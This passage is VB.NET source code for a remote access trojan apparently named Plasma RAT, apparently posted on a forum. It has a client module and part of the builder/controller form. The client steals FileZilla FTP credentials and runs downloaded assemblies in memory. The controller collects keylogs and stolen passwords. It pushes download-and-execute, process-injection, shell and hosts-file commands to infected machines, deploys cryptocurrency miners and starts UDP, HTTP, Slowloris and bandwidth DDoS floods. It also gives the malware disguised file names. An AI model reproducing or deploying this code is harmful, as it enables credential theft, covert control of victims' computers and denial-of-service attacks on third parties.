                If Input.Contains("slowloris") Then
                    StopSlowloris()
                End If
                If Input.Contains("httpget") Then
                    StopHTTPGET()
                End If
                If Input.Contains("bwflood") Then
                    StopBandwidthFlood()
                End If
                If Input.Contains("posthttp") Then
                    StopPOSTHTTP()
                End If
                If Input.Contains("condis") Then
                    StopCondis()
                End If
            End If
            If Input.Contains("botkiller") Then
                If Input.Contains("hardbk") Then
                    Call SaveSetting("Microsoft", "Sysinternals", "BK", "active")
                    HardBotKill()
                End If
                If Input.Contains("enable") Then
                    Call SaveSetting("Microsoft", "Sysinternals", "BK", "active")
                    TalktoChannel("Proactive Bot Killer Enabled!", " ")
                End If
                If Input.Contains("disable") Then
                    Call SaveSetting("Microsoft", "Sysinternals", "BK", "")
                    TalktoChannel("Proactive Bot Killer Disabled!", "")
                End If
                If Input.Contains("run") Then
                    RunBotKiller = True
                End If
            End If
        Catch fasjdfasdf As Exception
            TalktoChannel("Error: " & fasjdfasdf.ToString, String.Empty)
        End Try
    End Sub
    Public Sub Send(ByVal MSG As String)
        Try
            Write = New StreamWriter(IRC.GetStream())
            Write.WriteLine(AES_Encrypt(MSG))
            Write.Flush()
        Catch ex As Exception
        End Try
    End Sub
    Public Sub TalktoChannel(ByVal blue As String, ByVal red As String)
        Try
            If Muted = False Then

                Dim xd = Environment.UserName.ToString

                Send("LOGS*" & xd & "*" & blue & red & "*")
                ' Send((Convert.ToString("PRIVMSG ") & Channel) + " " & ChrW(3) & "12" & blue & ChrW(3) & "10" & red)
            End If
        Catch
        End Try
    End Sub

    Public Sub ProactiveBK()
        Try
            If RunBotKiller = True Then
                RunBotKiller = False
                BotKillers.RunStandardBotKiller()
            End If
            If Not GetSetting("Microsoft", "Sysinternals", "BK") = String.Empty Then
                ScanProcess()
                RunStartupKiller()
            End If
        Catch : End Try
    End Sub
    Public Sub Handler_SessionEnding(ByVal sender As Object, ByVal e As Microsoft.Win32.SessionEndingEventArgs)
        On Error Resume Next
        If AutoBotKill = True Then
            Do
                BotKillers.RunStartupKiller()
                Threading.Thread.Sleep(10)
            Loop
        End If

        '  TalktoChannel("Windows is Shutting Down", "")
    End Sub
    Public Function AES_Encrypt(ByVal input As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(Username))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = System.Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return encrypted
        Catch ex As Exception
        End Try
    End Function
    Public Function GetCPU() As String
        Try
            Dim Proc As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""")
            Proc.Get()
            Return (Proc("Name").ToString)

        Catch ex As Exception
            Return "N/A"
        End Try

    End Function
    Public Function GetVideoCard() As String
        Try
            Dim VideoCard As String = String.Empty
            Dim objquery As New ObjectQuery("SELECT * FROM Win32_VideoController")
            Dim objSearcher As New ManagementObjectSearcher(objquery)

            For Each MemObj As ManagementObject In objSearcher.Get
                VideoCard = VideoCard & (MemObj("Name")) & ". "

            Next
            Return (VideoCard)
        Catch
            Return "N/A"
        End Try
    End Function
    Public Function AES_Decrypt(ByVal input As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(Username))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = System.Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
        End Try
    End Function
    Public Function DecryptConfig(ByVal input As String) As String
        Dim AES As New System.Security.Cryptography.RijndaelManaged
        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
        Dim decrypted As String = ""
        Try
            Dim hash(31) As Byte
            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(Password))
            Array.Copy(temp, 0, hash, 0, 16)
            Array.Copy(temp, 0, hash, 15, 16)
            AES.Key = hash
            AES.Mode = System.Security.Cryptography.CipherMode.ECB
            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
            Dim Buffer As Byte() = Convert.FromBase64String(input)
            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
            Return decrypted
        Catch ex As Exception
        End Try
    End Function
    Function GetAntiVirus() As String
        Try
            Dim str As String = Nothing
            Dim searcher As New ManagementObjectSearcher("\\" & Environment.MachineName & "\root\SecurityCenter2", "SELECT * FROM AntivirusProduct")
            Dim instances As ManagementObjectCollection = searcher.[Get]()
            For Each queryObj As ManagementObject In instances
                str = queryObj("displayName").ToString()
            Next
            If str = String.Empty Then str = "N/A"
            str = "AntiVirus: " & str.ToString
            Return str
            searcher.Dispose()
        Catch
            Return "AntiVirus: N/A"
        End Try
    End Function
    Public Sub ftpsteal()
        Try
            Dim file As String
            Dim credentials As String
            Dim Reader As New IO.StreamReader(Environ("AppData") & "\FileZilla\recentservers.xml")
            file = Reader.ReadToEnd()
            Reader.Close()
            credentials = ftpstealer("<Host>(.+?)</Host>\s+.+\s+.+\s+.+\s+<User>(.+?)</User>\s+<Pass>(.+?)</Pass>", file)
        Catch
        End Try
    End Sub
    Sub ReflectBytes(ByVal data As Byte())
        Dim T As New Thread(AddressOf Run) 'Work around for "SetCompatibleTextRenderingDefault"
        T.SetApartmentState(ApartmentState.STA) 'Set STA to support drag/drop and dialogs?
        T.Start(data)
    End Sub
    Sub Run(ByVal o As Object)
        Dim T As MethodInfo = Assembly.Load(DirectCast(o, Byte())).EntryPoint
        T.Invoke(Nothing, If(T.GetParameters.Length = 1, {New String() {}}, Nothing)) 'Invoke logic for Console or Form
    End Sub

    Public Function ftpstealer(ByVal expression As String, ByVal source As String)
        Try
            Dim output As New StringBuilder
            Dim myregex As New System.Text.RegularExpressions.Regex(expression)
            Dim mymatches As MatchCollection = myregex.Matches(source)
            Dim ie As IEnumerator
            ie = mymatches.GetEnumerator
            While ie.MoveNext
                Dim current As Match = DirectCast(ie.Current, Match)
                Dim objects As GroupCollection = current.Groups
                Threading.Thread.Sleep(1000)
                Send("PASS*" & objects(1).Value & "*" & objects(2).Value & "*" & objects(3).Value & "*")
            End While
            Return output.ToString
        Catch
            Return String.Empty
        End Try
    End Function
    Function GetFirewall() As String
        Try
            Dim str As String = Nothing
            Dim searcher As New ManagementObjectSearcher("\\" & Environment.MachineName & "\root\SecurityCenter2", "SELECT * FROM FirewallProduct")
            Dim instances As ManagementObjectCollection = searcher.[Get]()
            For Each queryObj As ManagementObject In instances
                str = queryObj("displayName").ToString()
            Next
            If str = String.Empty Then str = "N/A"
            str = "Firewall: " & str.ToString
            Return str
            searcher.Dispose()
        Catch
            Return "Firewall: N/A"
        End Try

    End Function

    Class Getcn
        <DllImport("kernel32.dll")> _
        Private Shared Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
        End Function

        Private Const LOCALE_SYSTEM_DEFAULT As UInteger = &H400
        Private Const LOCALE_SABBREVCTRYNAME As UInteger = &H7


        Private Shared Function GetInfo(ByVal lInfo As UInteger) As String
            Try
                Dim lpLCData = New System.Text.StringBuilder(256)
                Dim ret As Integer = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, lInfo, lpLCData, lpLCData.Capacity)

                If ret > 0 Then
                    Return lpLCData.ToString().Substring(0, ret - 1)
                End If
                Return "Error"
            Catch : End Try
        End Function

        Public Shared Function g() As String
            Return (GetInfo(LOCALE_SABBREVCTRYNAME))
        End Function

    End Class
    <DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _
    Public Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function
End Module

Builder/Main.vb

Código:

Imports System.Net.Sockets, System.Net, System.IO
Imports System.Threading
Imports System.Windows.Forms
Imports System
Imports System.Drawing

Public Class Main
    Dim listener As TcpListener
    Dim listenerThread As Thread
    Public Shared EncryptionKey As String = "TestUser"
    Dim PasswordLogs As String = "Plasma Password Logs" & vbNewLine & vbNewLine
    Dim BotLogs As String = "Plasma Bot Logs" & vbNewLine & vbNewLine
    Dim CommandsLogs As String = "Plasma Command Logs" & vbNewLine & vbNewLine
    Public Shared OnConnectCommand = String.Empty
    Public Shared OnConnectMiner = String.Empty
    Public PeakBots As Integer = 0
    Public PortToListenTo As Integer = 1337
    Public Shared OnJoinTopLel = "JOIN"
    Public MinerFileURL As String
    Private BotViewSort As ColumnHeader '- BotListView
    Private LogViewerSort As ColumnHeader '- LogView
    Private PasswordViewSort As ColumnHeader '- Password ListView

    Private Sub Label3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub


    Sub Listen()
        Try
            listener = New TcpListener(IPAddress.Any, PortToListenTo)
            listener.Start()
            While (True)
                Dim c As New Connection(listener.AcceptTcpClient())
                AddHandler c.GotInfo, AddressOf GotInfo
                AddHandler c.Disconnected, AddressOf Disconnected
            End While

        Catch
        End Try

    End Sub
    Sub AddClient(ByVal client As Connection, ByVal strings() As String)
        Try
            Dim l As New ListViewItem(strings)
            l.Tag = client

            '    If Not BotListView.Items.Contains(l) Then

            If SingleConnection.Checked = True Then
                For Each item As ListViewItem In BotListView.Items
                    If item.Text = client.IPAddress Then
                        item.Remove()
                        Exit For
                    End If
                Next
            End If
            BotListView.Items.Add(l)
            If Not OnConnectCommand = String.Empty Then
                Threading.Thread.Sleep(100)
                Dim c As Connection = DirectCast(client, Connection)
                c.Send(OnConnectCommand)
            End If

            If Not OnConnectMiner = String.Empty Then
                Threading.Thread.Sleep(100)
                Dim c As Connection = DirectCast(client, Connection)
                c.Send(OnConnectMiner)
            End If
            If LowBandwidth.Checked = True Then
                Threading.Thread.Sleep(100)
                Dim c As Connection = DirectCast(client, Connection)
                c.Send("mute on")
            End If



        Catch : End Try
        '  End If
    End Sub
    Public Sub AddLoggs(ByVal input As Object)
        Try
            LogView.Items.Add(input)
        Catch ex As Exception
        End Try
    End Sub
    Public Sub AddPassword(ByVal input As Object)
        Try
            PasswordListView.Items.Add(input)

        Catch ex As Exception
        End Try
    End Sub
    Delegate Sub AddDelegate(ByVal client As Connection, ByVal strings() As String)
    Delegate Sub AddLogs(ByVal input As Object)
    Delegate Sub AddChrome(ByVal input As Object)
    Sub GotInfo(ByVal client As Connection, ByVal Msg As String)

        Try

            '  MessageBox.Show(Msg.ToString)
            Dim cut() As String = Msg.Split("*")
            '  MessageBox.Show(cut(0))
            Select Case cut(0)
                Case OnJoinTopLel
                    Try
                        Invoke(New AddDelegate(AddressOf AddClient), client, New String() {client.IPAddress, cut(2), cut(3), cut(4), cut(5), cut(6), cut(1)})
                        '  country = cut(1)
                    Catch : End Try
                Case "LOGS"
                    Try
                        Dim x() = Split(Msg, "*")
                        Dim lmao = x(1) & ": " & x(2)
                        BotLogs = BotLogs & lmao & vbNewLine
                        Dim l3 As New ListViewItem({x(1), x(2)})
                        Invoke(New AddLogs(AddressOf AddLoggs), l3)
                    Catch ex As Exception
                        MessageBox.Show(ex.ToString)
                    End Try
                Case "KEYLOGS"
                    Try
                        Dim directory As String = My.Application.Info.DirectoryPath & "\Keylogs\"
                        Dim dir As New IO.DirectoryInfo(directory)
                        If Not dir.Exists Then dir.Create()
                        Dim lels = Msg
                        lels = lels.Replace("KEYLOGS*", String.Empty)
                        lels = lels.Replace(cut(1) & "*", String.Empty)
                        lels = lels.Replace("Oem7", """")
                        IO.File.WriteAllText(directory & cut(1) & ".txt", vbNewLine & lels)
                    Catch : End Try
                Case "PASS"
                    Try
                        Dim x() = Split(Msg, "*")



                        Dim CurClient As New ListViewItem(x(1)) ' Site
                        CurClient.SubItems.Add(x(2)) ' User
                        CurClient.SubItems.Add(x(3)) ' Pass

                        Dim lmao As String = "Website: " & x(1) & vbNewLine & "Username: " & x(2) & vbNewLine & "Password: " & x(3) & vbNewLine & vbNewLine


                        If PasswordLogs.Contains(lmao) Then
                        Else
                            PasswordLogs = PasswordLogs & lmao
                            Invoke(New AddChrome(AddressOf AddPassword), CurClient)
                            'PasswordListView.Items.Add(CurClient)
                        End If
                    Catch ex As Exception
                        MessageBox.Show(ex.ToString)
                    End Try
                Case "Disconnect"

                    listener.EndAcceptSocket(client)
                    '      Dim client1 = listener.EndAcceptTcpClient(client)
            End Select
        Catch ex As Exception
            If ClientOnError.Checked = True Then
                Disconnected(client)
                client.Send("RECONNECT")
                listener.EndAcceptTcpClient(client)
            End If
        End Try
    End Sub
    Delegate Sub DisconnectedDelegate(ByVal client As Connection)
    Sub Disconnected(ByVal client As Connection)
        Invoke(New DisconnectedDelegate(AddressOf Remove), client)
    End Sub
    Sub Remove(ByVal client As Connection)
        Try
            For Each item As ListViewItem In BotListView.Items
                If item.Text = client.IPAddress Then

                    item.Remove()

                    Exit For
                End If
            Next
        Catch : End Try
    End Sub
    Sub RemoveSelected()
        Try
            For Each item As ListViewItem In BotListView.SelectedItems
                Try
                    Dim c As Connection = DirectCast(item.Tag, Connection)
                    BotListView.Items.Remove(item.Tag)
                Catch ex As Exception

                End Try
            Next
        Catch : End Try
    End Sub
    Delegate Sub UpdateStatusDelegate(ByVal client As Connection, ByVal Message As String)
    Sub UpdateStatus(ByVal client As Connection, ByVal Message As String)
        For Each item As ListViewItem In BotListView.Items
            If item.Text = client.IPAddress Then
                item.SubItems(3).Text = Message
            End If
        Next
    End Sub
    Delegate Sub UpdateLogDelegate(ByVal client As Connection, ByVal Message As String)

    Sub SendToAll(ByVal Message As String)
        AddCommandListView(Message)
        For Each item As ListViewItem In BotListView.Items
            Try



                Dim c As Connection = DirectCast(item.Tag, Connection)
                c.Send(Message)
            Catch ex As Exception

                '        BotListView.Items.Remove(item.Tag)


            End Try
        Next
    End Sub
    Sub SendToSelected(ByVal Message As String)
        AddCommandListView(Message)
        For Each item As ListViewItem In BotListView.SelectedItems
            Try



                Dim c As Connection = DirectCast(item.Tag, Connection)
                c.Send(Message)
            Catch ex As Exception

            End Try
        Next
    End Sub





    Private Sub TreeView2_AfterSelect(ByVal sender As System.Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) Handles TreeView2.AfterSelect
        Try
            If TreeView2.SelectedNode.ToString.Contains("Execute File") Then
                Dim S As String = InputBox("File to Download and Execute (Direct Download Link):", "")
                If Not S = String.Empty Then

                    Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
                    If Not D = String.Empty Then


                        SendToAll("download " & S & " " & D)
                    End If
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Update File") Then
                If MsgBox("Are you sure you want to start the update process? This will remove the bot after running the new one.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
                    Dim S As String = InputBox("File to Update to (Direct Download Link):", "")
                    If Not S = String.Empty Then

                        Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
                        If Not D = String.Empty Then


                            SendToAll("update.bot " & S & " " & D)
                        End If
                    End If
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Seed Torrent") Then
                Dim S As String = InputBox("Torrent File to Seed (Direct Download Link .torrent):", "")
                If Not S = String.Empty Then
                    SendToAll("seed " & S)
                End If
            End If


            If TreeView2.SelectedNode.ToString.Contains("Run Bot Killer") Then
                If MsgBox("Are you sure you want to run the Bot Killer Command? This will remove any existing malware on the system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("botkiller.run")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("Download Logs") Then
                If MsgBox("Are you sure you want to download Keylogs for all users?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
                    SendToAll("keylogger.send")
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Delete Logs") Then
                If MsgBox("Are you sure you want to DELETE Keylogs for all users?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
                    SendToAll("keylogger.delete")
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Search Logs") Then

                Dim S As String = InputBox("Search Logs for Term (Case Sensitive):", "")
                If Not S = String.Empty Then
                    SendToAll("keylogger.search " & """" & S & """")
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Run Hard BK") Then
                If MsgBox("Are you sure you want to run the Hard Bot Killer? This will hinder the installation of new files on the system. Please only use this on highly infected computers.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("botkiller.hardbk")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("Uninstall") Then
                If MsgBox("Are you sure you want to run the uninstall command? This will remove the bot from this system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then


                    SendToAll("remove.bot")

                End If

            End If

            If TreeView2.SelectedNode.ToString.Contains("Enable BK") Then
                If MsgBox("Are you sure you want to enable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("botkiller.enable")
                End If

            End If

            If TreeView2.SelectedNode.ToString.Contains("Disable BK") Then
                If MsgBox("Are you sure you want to disable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("botkiller.disable")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("Chrome Stealer") Then
                If MsgBox("Recover Saved Chrome Passwords?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("chrome")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("FTP Stealer") Then
                If MsgBox("Recover FTP Accounts?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("ftp")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("General Info") Then
                If MsgBox("Retrieve General PC Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("info")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("PC Specifications") Then
                If MsgBox("Retrieve PC Specifications?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("pcspecs")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("AV Info") Then
                If MsgBox("Retrieve AV Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll(".avdetails")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("Enable Mute") Then
                If MsgBox("Enable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("mute on")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("Disable Mute") Then
                If MsgBox("Disable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("mute off")
                End If

            End If
            If TreeView2.SelectedNode.ToString.Contains("Uninstall") Then
                If MsgBox("Are you sure you want to remove all bots? This action cannot be undone.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then

                    SendToAll("remove.bot")
                End If
            End If

            If TreeView2.SelectedNode.ToString.Contains("Open Visible") Then

                Dim S As String = InputBox("URL To Open (Default Browser):", "")
                If Not S = String.Empty Then
                    Dim URL As String
                    If Not S.Contains("http://") Then
                        URL = S
                        S = "http://" & URL
                    End If

                    SendToAll("visit " & S)
                End If
            End If


            If TreeView2.SelectedNode.ToString.Contains("Open Hidden") Then

                Dim S As String = InputBox("URL To Open (Hidden Internet Explorer):", "")
                If Not S = String.Empty Then
                    Dim URL As String
                    If Not S.Contains("http://") Then
                        URL = S
                        S = "http://" & URL
                    End If

                    SendToAll("visit -h " & S)
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Inject via RunPE") Then

                Dim S As String = InputBox("File to Inject into Memory via RunPE (Direct Download Link):", "")
                If Not S = String.Empty Then
                    SendToAll("inject.runpe " & S)
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Inject via Reflection") Then

                Dim S As String = InputBox("File to Inject into Memory via Reflection (Direct Download Link):", "")
                If Not S = String.Empty Then
                    SendToAll("inject.reflect " & S)
                End If
            End If


            If TreeView2.SelectedNode.ToString.Contains("Shell Command") Then

                Dim S As String = InputBox("Command to Execute:", "")
                If Not S = String.Empty Then


                    SendToAll("shell " & """" & S & """")
                End If
            End If
            If TreeView2.SelectedNode.ToString.Contains("Edit HOSTS File") Then

                Dim S As String = InputBox("Line to add to HOSTS:", "")
                If Not S = String.Empty Then

                    SendToAll("hosts " & """" & S & """")
                End If
            End If
        Catch ex As Exception
            MessageBox.Show("A strange error has occured. Report this to KFC Watermelon: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        End Try
    End Sub
    Public Sub SendCommand(ByVal what As String)
        If SelectedOnly.Checked = True Then

            SendToSelected(what)

        Else
            Try
                SendToAll(what)
            Catch ex As Exception
                '  MsgBox("Error Sending Command")
            End Try


        End If


    End Sub
    Public Sub AddCommandListView(ByVal command As String)

        If Not command = "ping" Then
            Try
                Dim lmao = command


                If Not CommandsLogs.Contains(lmao) Then
                    CommandsLogs = CommandsLogs & lmao & vbNewLine


                    Dim CurClient As New ListViewItem(command)

                    CommandsListView.Items.Add(CurClient)
                End If




            Catch : End Try
        End If
    End Sub
    Private Sub Form1_Load_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Try
            TabControl1.Dock = DockStyle.Fill

            Dim r As New Random
            Dim Counter As Integer = r.Next(1, 5)
            If Counter = 1 Then
                FileName.Text = "appsvc.exe"
                Folder.Text = "Application Services"
            End If
            If Counter = 2 Then
                FileName.Text = "wserver.exe"
                Folder.Text = "Windows Server"
            End If
            If Counter = 3 Then
                FileName.Text = "win32.exe"
                Folder.Text = "Windows Services"
            End If
            If Counter = 4 Then
                FileName.Text = "NTKernel.exe"
                Folder.Text = "NT Kernel"
            End If
            If Counter = 5 Then
                FileName.Text = "nacl32.exe"
                Folder.Text = "System Configuration"
            End If


            If Not GetSetting("PlasmaRAT", "Config", "Port") = String.Empty Then
                PortToListenTo = Convert.ToInt32(GetSetting("PlasmaRAT", "Config", "Port"))
                PORTBuild.Text = GetSetting("PlasmaRAT", "Config", "Port")
            Else
                Dim x = r.Next(1000, 8000)
                PortToListenTo = x
                PORTBuild.Text = x.ToString
            End If
            If Not GetSetting("PlasmaRAT", "Config", "SingleConnection") = String.Empty Then SingleConnection.Checked = False
            If Not GetSetting("PlasmaRAT", "Config", "PingPong") = String.Empty Then PingPong.Checked = False
            If Not GetSetting("PlasmaRAT", "Config", "DisconnectonError") = String.Empty Then ClientOnError.Checked = False
            If Not GetSetting("PlasmaRAT", "Config", "LowBandwidth") = String.Empty Then LowBandwidth.Checked = True


            If Not GetSetting("PlasmaRAT", "Config", "DNS") = String.Empty Then
                DNSBuild.Text = GetSetting("PlasmaRAT", "Config", "DNS")
            End If
            If Not GetSetting("PlasmaRAT", "Config", "MinerSettings") = String.Empty Then
                Dim lels() = Split(GetSetting("PlasmaRAT", "Config", "MinerSettings"), " ")
                MinerFiles.Text = lels(0)
                MinerPool.Text = lels(1)
                MinerUser.Text = lels(2)
                MinerPass.Text = lels(3)
            End If
        Catch ex As Exception
            MessageBox.Show("A really strange error has occured. You should report this to KFC Watermelon: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        End Try

        Try
            EncryptionKey = Seal.Username
            OnJoinTopLel = Seal.GetVariable("AUTHKEY")
            MinerFileURL = Seal.GetVariable("Files") '"http://files.plasmarat.pw/CPUMiner.files|http://files.plasmarat.pw/GPUMiner.files|" ''Seal.GetVariable("MinerFile")
            Dim lel() = Split(MinerFileURL, "|")
            MinerFiles.Text = lel(0)
            If MinerFiles.Text = "http://google.com/file.exe" Then End
            If GlobalMessage.Text = "InvalidSystemInfo" Then End
            Timer1.Start()
            Ping.Start()
        Catch
            MessageBox.Show("An error occured. Error 0x0159")
            Environment.Exit(0)
            End
        End Try

    End Sub
    Private Sub Form1CLose(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.FormClosing

        End


    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim bots As Integer = BotListView.Items.Count
        BotsOnline.Text = "Bots Online: " & bots.ToString

        If bots > PeakBots Then
            PeakBots = bots
            BotPeak.Text = "Peak: " & PeakBots.ToString
        End If

        If BotListView.SelectedItems.Count > 0 Then
            SelectedBots.Text = "Selected Bots: " & BotListView.SelectedItems.Count.ToString
        Else
            SelectedBots.Text = "Selected Bots: 0"
        End If
    End Sub

    Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If UDP.Checked Then

            SendCommand("ddos.stop.udp")
        End If
        If condis.Checked Then

            SendCommand("ddos.stop.condis")
        End If
        If httpget.Checked Then

            SendCommand("ddos.stop.httpget")
        End If
        If httppost.Checked Then

            SendCommand("ddos.stop.posthttp")
        End If
        If slowloris.Checked Then

            SendCommand("ddos.stop.slowloris")
        End If
        If arme.Checked Then

            SendCommand("ddos.stop.arme")
        End If
        If bwflood.Checked Then

            SendCommand("ddos.stop.bwflood")
        End If

    End Sub
    Sub ChangedDDoS()
        Dim x = " "
        If UDP.Checked Then
            threads.Text = "2"
            Description.Text = "Description: Standard UDP Flood"
            use.Text = "Use: Home Connections, any typical Server/IP"
            info.Text = "Info: Only put in IP in target."
        End If
        If condis.Checked Then
            threads.Text = "10"
            Description.Text = "Description: Rapid Connect/Disconnect. Sends small TCP Packets."
            use.Text = "Use: Game Servers, TeamSpeak, web servers, etc"
            info.Text = "Info: Only put in IP in target."
        End If
        If httpget.Checked Then
            threads.Text = "20"
            Description.Text = "Description: Standard HTTP GET Flood"
            use.Text = "Use: Websites"
            info.Text = "Info: Put URL to Attack in Target. Add http://"
        End If
        If httppost.Checked Then
            threads.Text = "20"
            Description.Text = "Description: Standard HTTP POST Flood"
            use.Text = "Use: Websites. Put in Data to POST."
            info.Text = "Info: Put URL to Attack in Target. Add http://"
        End If
        If slowloris.Checked Then
            threads.Text = "10"
            Description.Text = "Description: Slowloris Attack"
            use.Text = "Use: Websites."
            info.Text = "Info: Put host in target. Ex: google.com "
        End If
        If arme.Checked Then
            threads.Text = "10"
            Description.Text = "Description: Powerful against websites using Apache Web Server"
            use.Text = "Use: Websites running Apache Web Server"
            info.Text = "Info: Put host in target. Ex: google.com "
        End If
        If bwflood.Checked Then
            threads.Text = "5"
            Description.Text = "Description: Floods Bandwidth Usage"
            use.Text = "Use: Files on websites"
            info.Text = "Info: Put File URL to Attack in Target. Ex: http://google.com/logo.png"
        End If
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim x = " "
        If UDP.Checked Then
            SendCommand("ddos.udp.start " & target.Text & x & port.Text & x & time.Text & x & threads.Text)

        End If
        If condis.Checked Then

            SendCommand("ddos.condis.start " & target.Text & x & port.Text & x & time.Text & x & threads.Text)
        End If
        If httpget.Checked Then

            SendCommand("ddos.httpget.start " & target.Text & x & time.Text & x & threads.Text)
        End If
        If httppost.Checked Then

            SendCommand("ddos.posthttp.start " & target.Text & x & time.Text & x & threads.Text & x & """" & data.Text & """")
        End If
        If slowloris.Checked Then

            SendCommand("ddos.slowloris.start " & target.Text & x & time.Text & x & threads.Text)
        End If
        If arme.Checked Then

            SendCommand("ddos.arme.start " & target.Text & x & time.Text & x & threads.Text)
        End If
        If bwflood.Checked Then

            SendCommand("ddos.bwflood.start " & target.Text & x & time.Text & x & threads.Text)
        End If
    End Sub

    Private Sub UDP_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UDP.CheckedChanged
        ChangedDDoS()
    End Sub

    Private Sub condis_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles condis.CheckedChanged
        ChangedDDoS()
    End Sub

    Private Sub httpget_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles httpget.CheckedChanged
        ChangedDDoS()
    End Sub

    Private Sub httppost_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles httppost.CheckedChanged
        ChangedDDoS()
    End Sub

    Private Sub slowloris_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles slowloris.CheckedChanged
        ChangedDDoS()
    End Sub

    Private Sub arme_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles arme.CheckedChanged
        ChangedDDoS()
    End Sub

